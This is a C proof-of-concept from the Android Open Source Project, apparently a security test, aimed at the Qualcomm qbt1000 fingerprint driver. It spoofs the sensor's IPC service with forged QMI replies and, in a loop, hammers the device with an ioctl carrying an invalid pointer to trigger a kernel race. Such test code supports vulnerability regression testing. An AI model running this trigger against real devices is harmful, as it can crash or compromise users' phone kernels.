blob: 2a7e600f79fef3489b2da6ff66985f00ce6ae30a [file] [log] [blame]
/**
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/types.h>
#include <unistd.h>
static const char *dev = "/dev/qbt1000";
#define QBT1000_SNS_SERVICE_ID 0x138
#define QBT1000_SNS_SERVICE_VER_ID 1
#define QBT1000_SNS_INSTANCE_INST_ID 0
#define SNS_QFP_OPEN_RESP_V01 0x0020
#define QMI_REQUEST_CONTROL_FLAG 0x00
#define QMI_RESPONSE_CONTROL_FLAG 0x02
#define QMI_INDICATION_CONTROL_FLAG 0x04
#define QMI_HEADER_SIZE 7
#define OPTIONAL_TLV_TYPE_START 0x10
enum elem_type {
QMI_OPT_FLAG = 1,
QMI_DATA_LEN,
QMI_UNSIGNED_1_BYTE,
QMI_UNSIGNED_2_BYTE,
QMI_UNSIGNED_4_BYTE,
QMI_UNSIGNED_8_BYTE,
QMI_SIGNED_2_BYTE_ENUM,
QMI_SIGNED_4_BYTE_ENUM,
QMI_STRUCT,
QMI_STRING,
QMI_EOTI,
};
volatile int cont = 1;
struct qmi_header {
unsigned char cntl_flag;
uint16_t txn_id;
uint16_t msg_id;
uint16_t msg_len;
} __attribute__((__packed__));
struct qseecom_handle {
void *dev;
unsigned char *sbuf;
uint32_t sbuf_len;
};
enum qbt1000_commands {
QBT1000_LOAD_APP = 100,
QBT1000_UNLOAD_APP = 101,
QBT1000_SEND_TZCMD = 102
};
struct qbt1000_app {
struct qseecom_handle **app_handle;
char name[32];
uint32_t size;
uint8_t high_band_width;
};
struct qbt1000_send_tz_cmd {
struct qseecom_handle *app_handle;
uint8_t *req_buf;
uint32_t req_buf_len;
uint8_t *rsp_buf;
uint32_t rsp_buf_len;
};
struct msm_ipc_port_addr {
uint32_t node_id;
uint32_t port_id;
};
struct msm_ipc_port_name {
uint32_t service;
uint32_t instance;
};
struct msm_ipc_addr {
unsigned char addrtype;
union {
struct msm_ipc_port_addr port_addr;
struct msm_ipc_port_name port_name;
} addr;
};
#define AF_MSM_IPC 27
#define PF_MSM_IPCAF_MSM_IPC
#define MSM_IPC_ADDR_NAME 1
#define MSM_IPC_ADDR_ID 2
struct sockaddr_msm_ipc {
unsigned short family;
struct msm_ipc_addr address;
unsigned char reserved;
};
struct qbt1000_app app = {0, {0}, 0, 0};
static int get_fd(const char *dev_node) {
int fd;
fd = open(dev_node, O_RDWR);
if (fd < 0) {
cont = 0;
exit(EXIT_FAILURE);
}
return fd;
}
static void recv_msgs(int fd) {
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
struct iovec io;
memset(&io, 0, sizeof(io));
struct sockaddr_msm_ipc addr;
memset(&addr, 0, sizeof(addr));
uint8_t *ptr;
struct qmi_header *hdr;
int count = 1;
io.iov_base = malloc(4096);
memset(io.iov_base, 0, 4096);
io.iov_len = 4096;
msg.msg_iovlen = 1;
msg.msg_iov = &io;
msg.msg_name = &addr;
msg.msg_namelen = sizeof(addr);
while (cont) {
recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
memset(io.iov_base, 0, 128);
hdr = io.iov_base;
hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
hdr->txn_id = count++;
hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
hdr->msg_len = 3;
ptr = (uint8_t*)((char*)io.iov_base + sizeof(*hdr));
*ptr = OPTIONAL_TLV_TYPE_START;
ptr++;
*ptr = 0;
ptr++;
*ptr = 0;
sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
}
}
#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
static void setup_ipc_server(void) {
int fd;
struct sockaddr_msm_ipc addr;
memset(&addr, 0, sizeof(addr));
fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
if (fd < 0) {
printf("Couldn't open socket %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
addr.family = AF_MSM_IPC;
addr.address.addrtype = MSM_IPC_ADDR_NAME;
addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
bind(fd, (struct sockaddr *)&addr, sizeof(addr));
recv_msgs(fd);
}
static void *do_ipc_crap(void *ignore __unused) {
setup_ipc_server();
return (void *)NULL;
}
int main(void) {
int fd;
pthread_t race_car;
pthread_create(&race_car, NULL, do_ipc_crap, NULL);
usleep(50000);
fd = get_fd(dev);
for (;;) {
ioctl(fd, 0, (unsigned long)-4095);
usleep(5000);
}
}